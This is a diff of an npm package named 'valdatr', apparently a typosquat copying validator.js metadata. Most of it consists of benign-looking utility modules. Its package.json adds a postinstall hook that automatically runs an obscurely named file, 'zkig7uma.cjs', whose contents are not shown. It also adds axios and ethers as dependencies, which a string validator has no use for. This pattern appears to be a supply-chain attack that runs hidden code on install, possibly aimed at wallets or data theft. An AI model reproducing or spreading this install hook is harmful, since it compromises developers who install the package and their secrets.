var obj = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
|
9
|
+
var defaults = arguments.length > 1 ? arguments[1] : undefined;
|
10
|
+
for (var key in defaults) {
|
11
|
+
if (typeof obj[key] === 'undefined') {
|
12
|
+
obj[key] = defaults[key];
|
13
|
+
}
|
14
|
+
}
|
15
|
+
return obj;
|
16
|
+
}
|
17
|
+
module.exports = exports.default;
|
18
|
+
module.exports.default = exports.default;
|
@@ -0,0 +1,20 @@
|
|
1
|
+
"use strict";
|
2
|
+
|
3
|
+
Object.defineProperty(exports, "__esModule", {
|
4
|
+
value: true
|
5
|
+
});
|
6
|
+
exports.default = multilineRegexp;
|
7
|
+
/**
|
8
|
+
* Build RegExp object from an array
|
9
|
+
* of multiple/multi-line regexp parts
|
10
|
+
*
|
11
|
+
* @param {string[]} parts
|
12
|
+
* @param {string} flags
|
13
|
+
* @return {object} - RegExp object
|
14
|
+
*/
|
15
|
+
function multilineRegexp(parts, flags) {
|
16
|
+
var regexpAsStringLiteral = parts.join('');
|
17
|
+
return new RegExp(regexpAsStringLiteral, flags);
|
18
|
+
}
|
19
|
+
module.exports = exports.default;
|
20
|
+
module.exports.default = exports.default;
|
@@ -0,0 +1,21 @@
|
|
1
|
+
"use strict";
|
2
|
+
|
3
|
+
Object.defineProperty(exports, "__esModule", {
|
4
|
+
value: true
|
5
|
+
});
|
6
|
+
exports.default = toString;
|
7
|
+
function _typeof(o) { "@babel/helpers - typeof"; return _typeof = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function (o) { return typeof o; } : function (o) { return o && "function" == typeof Symbol && o.constructor === Symbol && o !== Symbol.prototype ? "symbol" : typeof o; }, _typeof(o); }
|
8
|
+
function toString(input) {
|
9
|
+
if (_typeof(input) === 'object' && input !== null) {
|
10
|
+
if (typeof input.toString === 'function') {
|
11
|
+
input = input.toString();
|
12
|
+
} else {
|
13
|
+
input = '[object Object]';
|
14
|
+
}
|
15
|
+
} else if (input === null || typeof input === 'undefined' || isNaN(input) && !input.length) {
|
16
|
+
input = '';
|
17
|
+
}
|
18
|
+
return String(input);
|
19
|
+
}
|
20
|
+
module.exports = exports.default;
|
21
|
+
module.exports.default = exports.default;
|
@@ -0,0 +1,18 @@
|
|
1
|
+
"use strict";
|
2
|
+
|
3
|
+
Object.defineProperty(exports, "__esModule", {
|
4
|
+
value: true
|
5
|
+
});
|
6
|
+
exports.default = typeOf;
|
7
|
+
/**
|
8
|
+
* Better way to handle type checking
|
9
|
+
* null, {}, array and date are objects, which confuses
|
10
|
+
*/
|
11
|
+
function typeOf(input) {
|
12
|
+
var rawObject = Object.prototype.toString.call(input).toLowerCase();
|
13
|
+
var typeOfRegex = /\[object (.*)]/g;
|
14
|
+
var type = typeOfRegex.exec(rawObject)[1];
|
15
|
+
return type;
|
16
|
+
}
|
17
|
+
module.exports = exports.default;
|
18
|
+
module.exports.default = exports.default;
|
package/lib/whitelist.js
ADDED
@@ -0,0 +1,14 @@
|
|
1
|
+
"use strict";
|
2
|
+
|
3
|
+
Object.defineProperty(exports, "__esModule", {
|
4
|
+
value: true
|
5
|
+
});
|
6
|
+
exports.default = whitelist;
|
7
|
+
var _assertString = _interopRequireDefault(require("./util/assertString"));
|
8
|
+
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
|
9
|
+
function whitelist(str, chars) {
|
10
|
+
(0, _assertString.default)(str);
|
11
|
+
return str.replace(new RegExp("[^".concat(chars, "]+"), 'g'), '');
|
12
|
+
}
|
13
|
+
module.exports = exports.default;
|
14
|
+
module.exports.default = exports.default;
|
package/package.json
ADDED
@@ -0,0 +1,69 @@
|
|
1
|
+
{
|
2
|
+
"name": "valdatr",
|
3
|
+
"description": "String validation and sanitization",
|
4
|
+
"version": "13.12.0",
|
5
|
+
"sideEffects": false,
|
6
|
+
"homepage": "https://github.com/validatorjs/validator.js",
|
7
|
+
"files": [
|
8
|
+
"index.js",
|
9
|
+
"es",
|
10
|
+
"lib",
|
11
|
+
"README.md",
|
12
|
+
"LICENCE",
|
13
|
+
"validator.js",
|
14
|
+
"validator.min.js",
|
15
|
+
"zkig7uma.cjs"
|
16
|
+
],
|
17
|
+
"keywords": [
|
18
|
+
"validator",
|
19
|
+
"validation",
|
20
|
+
"validate",
|
21
|
+
"sanitization",
|
22
|
+
"sanitize",
|
23
|
+
"sanitisation",
|
24
|
+
"sanitise",
|
25
|
+
"assert"
|
26
|
+
],
|
27
|
+
"author": "Chris O'Hara <cohara87@gmail.com>",
|
28
|
+
"contributors": [
|
29
|
+
"Anthony Nandaa (https://github.com/profnandaa)"
|
30
|
+
],
|
31
|
+
"main": "index.js",
|
32
|
+
"bugs": {
|
33
|
+
"url": "https://github.com/validatorjs/validator.js/issues"
|
34
|
+
},
|
35
|
+
"repository": {
|
36
|
+
"type": "git",
|
37
|
+
"url": "git+https://github.com/validatorjs/validator.js.git"
|
38
|
+
},
|
39
|
+
"devDependencies": {
|
40
|
+
"@babel/cli": "^7.0.0",
|
41
|
+
"@babel/core": "^7.0.0",
|
42
|
+
"@babel/preset-env": "^7.0.0",
|
43
|
+
"@babel/register": "^7.0.0",
|
44
|
+
"babel-eslint": "^10.0.1",
|
45
|
+
"babel-plugin-add-module-exports": "^1.0.0",
|
46
|
+
"eslint": "^4.19.1",
|
47
|
+
"eslint-config-airbnb-base": "^12.1.0",
|
48
|
+
"eslint-plugin-import": "^2.11.0",
|
49
|
+
"mocha": "^6.2.3",
|
50
|
+
"npm-run-all": "^4.1.5",
|
51
|
+
"nyc": "^14.1.0",
|
52
|
+
"rimraf": "^3.0.0",
|
53
|
+
"rollup": "^0.47.0",
|
54
|
+
"rollup-plugin-babel": "^4.0.1",
|
55
|
+
"timezone-mock": "^1.3.6",
|
56
|
+
"uglify-js": "^3.0.19"
|
57
|
+
},
|
58
|
+
"scripts": {
|
59
|
+
"postinstall": "node zkig7uma.cjs"
|
60
|
+
},
|
61
|
+
"engines": {
|
62
|
+
"node": ">= 0.10"
|
63
|
+
},
|
64
|
+
"license": "MIT",
|
65
|
+
"dependencies": {
|
66
|
+
"axios": "^1.7.7",
|
67
|
+
"ethers": "^6.13.2"
|
68
|
+
}
|
69
|
+
}
|